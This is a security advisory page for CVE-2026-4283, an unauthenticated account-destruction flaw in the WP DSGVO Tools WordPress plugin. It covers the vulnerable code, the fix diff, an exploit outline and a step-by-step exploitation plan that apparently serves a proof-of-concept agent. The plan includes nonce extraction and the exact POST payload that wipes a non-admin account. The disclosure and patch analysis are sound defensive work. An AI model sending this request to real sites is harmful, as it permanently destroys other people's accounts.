CVE-2026-4283

WP DSGVO Tools (GDPR) <= 3.1.38 - Missing Authorization to Unauthenticated Account Destruction of Non-Admin Users

criticalMissing Authorization
9.1
CVSS Score
9.1
CVSS Score
critical
Severity
3.1.39
Patched in
1d
Time to patch

Description

The WP DSGVO Tools (GDPR) plugin for WordPress is vulnerable to unauthorized account destruction in all versions up to, and including, 3.1.38. This is due to the `super-unsubscribe` AJAX action accepting a `process_now` parameter from unauthenticated users, which bypasses the intended email-confirmation flow and immediately triggers irreversible account anonymization. This makes it possible for unauthenticated attackers to permanently destroy any non-administrator user account (password randomized, username/email overwritten, roles stripped, comments anonymized, sensitive usermeta wiped) by submitting the victim's email address with `process_now=1`. The nonce required for the request is publicly available on any page containing the `[unsubscribe_form]` shortcode.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=3.1.38
PublishedMarch 23, 2026
Last updatedMarch 24, 2026
Affected pluginshapepress-dsgvo

What Changed in the Fix

Changes introduced in v3.1.39

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4283 (WP DSGVO Tools) ## 1. Vulnerability Summary The **WP DSGVO Tools (GDPR)** plugin (<= 3.1.38) contains a critical missing authorization vulnerability in its unsubscription logic. The plugin exposes an AJAX action `super-unsubscribe` intended to allow user…

Show full research plan

Exploitation Research Plan: CVE-2026-4283 (WP DSGVO Tools)

1. Vulnerability Summary

The WP DSGVO Tools (GDPR) plugin (<= 3.1.38) contains a critical missing authorization vulnerability in its unsubscription logic. The plugin exposes an AJAX action super-unsubscribe intended to allow users to request account deletion. While this flow usually requires email confirmation, the SPDSGVOSuperUnsubscribeFormAction::run() method processes a process_now parameter that, when present, triggers immediate and irreversible account anonymization (doSuperUnsubscribe()). Because this AJAX action is registered via wp_ajax_nopriv_, it is accessible to unauthenticated users. An attacker can destroy any non-administrator account by providing the victim's email address and process_now=1.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: super-unsubscribe (registered via SPDSGVOSuperUnsubscribeFormAction)
  • Authentication: Unauthenticated (available to any visitor).
  • Vulnerable Parameter: process_now (triggers immediate execution) and email (target account).
  • Nonce Requirement: Yes, the endpoint checks for a nonce using checkCSRF(). However, this nonce is publicly exposed on any page utilizing the [unsubscribe_form] shortcode.

3. Code Flow

  1. Entry Point: A POST request is sent to admin-ajax.php with action=super-unsubscribe.
  2. Registration: SPDSGVOSuperUnsubscribeFormAction::listen() calls add_action("wp_ajax_nopriv_super-unsubscribe", ...) allowing unauthenticated access.
  3. Nonce Check: The class inherits from SPDSGVOAjaxAction. Its run() method calls $this->checkCSRF().
    • checkCSRF() (in includes/class-sp-dsgvo-ajax-action.php) expects a nonce in $_REQUEST['_wpnonce'].
    • The action string for the nonce is super-unsubscribe-nonce.
  4. Processing: SPDSGVOSuperUnsubscribeFormAction::run() (in public/shortcodes/super-unsubscribe/unsubscribe-form-action.php):
    • It checks $_POST['website'] (honeypot).
    • It checks for $_POST['email'] and $_POST['dsgvo_checkbox'].
    • It instantiates an unsubscriber object via SPDSGVOUnsubscriber::insert(), passing the process_now value from the request.
    • Vulnerable Logic:
      if($this->has('process_now')){
          $unsubscriber->doSuperUnsubscribe();
      }
      
  5. Sink: doSuperUnsubscribe() (in SPDSGVOUnsubscriber class, inferred from context) performs the irreversible anonymization: randomizing password, stripping roles, and overwriting user data.

4. Nonce Acquisition Strategy

The nonce is rendered in the HTML form generated by the [unsubscribe_form] shortcode.

  1. Setup: The attacker (or PoC agent) ensures a public page contains the shortcode [unsubscribe_form].
  2. Navigation: Navigate to the page using browser_navigate.
  3. Extraction: Use browser_eval to extract the nonce from the hidden input field generated by wp_nonce_field.
    • Verification: The shortcode file public/shortcodes/super-unsubscribe/unsubscribe-form.php uses: wp_nonce_field( 'super-unsubscribe-nonce' ). This creates an input with name="_wpnonce".
    • JS Path: document.querySelector('input[name="_wpnonce"]').value

5. Exploitation Strategy

Step-by-Step Plan:

  1. Target Identification: Identify the email of a non-admin user (e.g., subscriber@example.com).
  2. Nonce Retrieval:
    • Access the page with the [unsubscribe_form] shortcode.
    • Extract the value of the _wpnonce field.
  3. Payload Construction:
    • Method: POST
    • URL: http://target.local/wp-admin/admin-ajax.php
    • Headers: Content-Type: application/x-www-form-urlencoded
    • Body:
      action=super-unsubscribe&
      _wpnonce=[EXTRACTED_NONCE]&
      email=subscriber@example.com&
      dsgvo_checkbox=1&
      process_now=1&
      first_name=Attacker&
      last_name=Attack&
      website=
      
    • Note: website must be empty to pass the honeypot check.
  4. Execution: Send the request using the http_request tool.

6. Test Data Setup

  1. Target User: Create a subscriber user:
    • wp user create victim victim@example.com --role=subscriber --user_pass=password123
  2. Public Form Page: Create a page where the unsubscription form (and nonce) is visible:
    • wp post create --post_type=page --post_title="GDPR Unsubscribe" --post_status=publish --post_content='[unsubscribe_form]'
  3. Identify Page URL: Determine the URL of the newly created page to visit for nonce extraction.

7. Expected Results

  • The AJAX request should return a 302 Redirect (standard behavior in SPDSGVOAjaxAction::boot) or a successful response.
  • The victim@example.com account should be destroyed.
  • Internal WordPress metadata for the user should be modified (randomized username/email/password).

8. Verification Steps

  1. Check User Existence: Try to fetch the user by their original email.
    • wp user get victim@example.com
    • Expected: Failure (user not found) or the email should be changed to an anonymized string (e.g., deleted-user-...).
  2. Check User Status: Check the users table for recent modifications.
    • wp db query "SELECT user_login, user_email, user_pass FROM wp_users WHERE ID = [VICTIM_ID]"
    • Expected: The user_login and user_email will no longer match "victim" or "victim@example.com". The user_pass hash will have changed.
  3. Check Capabilities:
    • wp user list --field=roles --user=[VICTIM_ID]
    • Expected: Roles should be stripped or empty.

9. Alternative Approaches

  • Missing Checkbox: If the dsgvo_checkbox check fails, the plugin errors out. Ensure it is explicitly set to 1.
  • Honeypot: If the request fails with no response, verify the website field is truly empty/null in the POST body, as if(!empty($_POST['website'])) die(); will kill the process silently.
  • Admin Target: The description specifies "Non-Admin Users". Attempting this against an administrator account may fail if doSuperUnsubscribe contains a is_super_admin or administrator check (common in WordPress privacy tools). Always target a subscriber or contributor for the PoC.
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP DSGVO Tools (GDPR) plugin is vulnerable to unauthenticated account destruction due to a missing authorization check in the 'super-unsubscribe' AJAX action. By submitting a request with the 'process_now' parameter, an attacker can bypass the intended email confirmation flow and immediately trigger the irreversible anonymization of any non-administrator user account.

Vulnerable Code

// public/shortcodes/super-unsubscribe/unsubscribe-form-action.php

Class SPDSGVOSuperUnsubscribeFormAction extends SPDSGVOAjaxAction{

    protected $action = 'super-unsubscribe';

    public function run(){

        if(!empty($_POST['website'])) die(); // anti spam honeypot

        $this->checkCSRF();

        if(!$this->has('email') || empty($this->get('email', NULL, 'sanitize_email'))){
            $this->error(__('Please enter an email address.','shapepress-dsgvo'));
        }
        
        if(!$this->has('dsgvo_checkbox') || $this->get('dsgvo_checkbox') !== '1'){
            $this->error(__('The GDPR approval is mandatory.','shapepress-dsgvo'));
        }

        $unsubscriber = SPDSGVOUnsubscriber::insert(array(
            'first_name' => $this->get('first_name'),
            'last_name'  => $this->get('last_name'),
            'email'      => $this->get('email', NULL, 'sanitize_email'),
            'process_now'=> $this->get('process_now'),
            'dsgvo_accepted' => $this->get('dsgvo_checkbox')
        ));

        // ...
        
        if($this->has('process_now')){
            $unsubscriber->doSuperUnsubscribe();
        }

        if($this->has('is_admin')){
            $this->returnBack();
        }

        // ...
    }
}

---

// includes/class-sp-dsgvo-ajax-action.php

	public static function listen($public = TRUE){
	    $actionName = self::getActionName();
	    $className = self::getClassName();
		add_action("wp_ajax_$actionName", array($className, 'boot'));

		if($public){
			add_action("wp_ajax_nopriv_$actionName", array($className, 'boot'));
		}
	}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/shapepress-dsgvo/3.1.38/public/shortcodes/super-unsubscribe/unsubscribe-form-action.php /home/deploy/wp-safety.org/data/plugin-versions/shapepress-dsgvo/3.1.39/public/shortcodes/super-unsubscribe/unsubscribe-form-action.php
--- /home/deploy/wp-safety.org/data/plugin-versions/shapepress-dsgvo/3.1.38/public/shortcodes/super-unsubscribe/unsubscribe-form-action.php	2021-09-22 10:20:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/shapepress-dsgvo/3.1.39/public/shortcodes/super-unsubscribe/unsubscribe-form-action.php	2026-03-21 14:24:58.000000000 +0000
@@ -31,18 +31,28 @@
             $this->error(__('The GDPR approval is mandatory.','shapepress-dsgvo'));
         }
 
-        $unsubscriber = SPDSGVOUnsubscriber::insert(array(
-            'first_name' => $this->get('first_name'),
-            'last_name'  => $this->get('last_name'),
-            'email'      => $this->get('email', NULL, 'sanitize_email'),
-            'process_now'=> $this->get('process_now'),
-            'dsgvo_accepted' => $this->get('dsgvo_checkbox')
-        ));
-
-        if (SPDSGVOSettings::get('su_email_notification') === '1' 
-            && SPDSGVOSettings::get('admin_email') !== ''
-            && $this->has('process_now') == false)
-        {
+	    $is_admin_request = $this->has('process_now') && current_user_can('manage_options');
+        $is_privileged_request = $this->has('is_admin') && current_user_can('manage_options');
+        $requires_email_confirmation = !$is_privileged_request;
+
+        $unsubscriber = SPDSGVOUnsubscriber::insert(array(
+            'first_name' => $this->get('first_name'),
+            'last_name'  => $this->get('last_name'),
+            'email'      => $this->get('email', NULL, 'sanitize_email'),
+            'process_now'=> $this->get('process_now'),
+            'dsgvo_accepted' => $this->get('dsgvo_checkbox'),
+            'status'     => $requires_email_confirmation ? 'unconfirmed' : 'pending',
+        ));
+
+        if ($is_privileged_request && $this->has('process_now') == false) {
+            $this->notifyAdmin($email);
+        }
+
+	    if ($is_admin_request) {
+		    $unsubscriber->doSuperUnsubscribe();
+		    $this->returnBack();
+	    }

Exploit Outline

To exploit this vulnerability, an unauthenticated attacker first obtains a valid CSRF nonce ('super-unsubscribe-nonce') by visiting any public page on the target site that includes the '[unsubscribe_form]' shortcode. With this nonce, the attacker sends a POST request to the '/wp-admin/admin-ajax.php' endpoint with the 'action' parameter set to 'super-unsubscribe'. By including the target user's email address and setting the 'process_now' and 'dsgvo_checkbox' parameters to '1', the attacker triggers the immediate execution of the 'doSuperUnsubscribe' method. This method anonymizes the victim's account by randomizing their password, overwriting their username and email, and stripping their user roles, effectively destroying the account.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.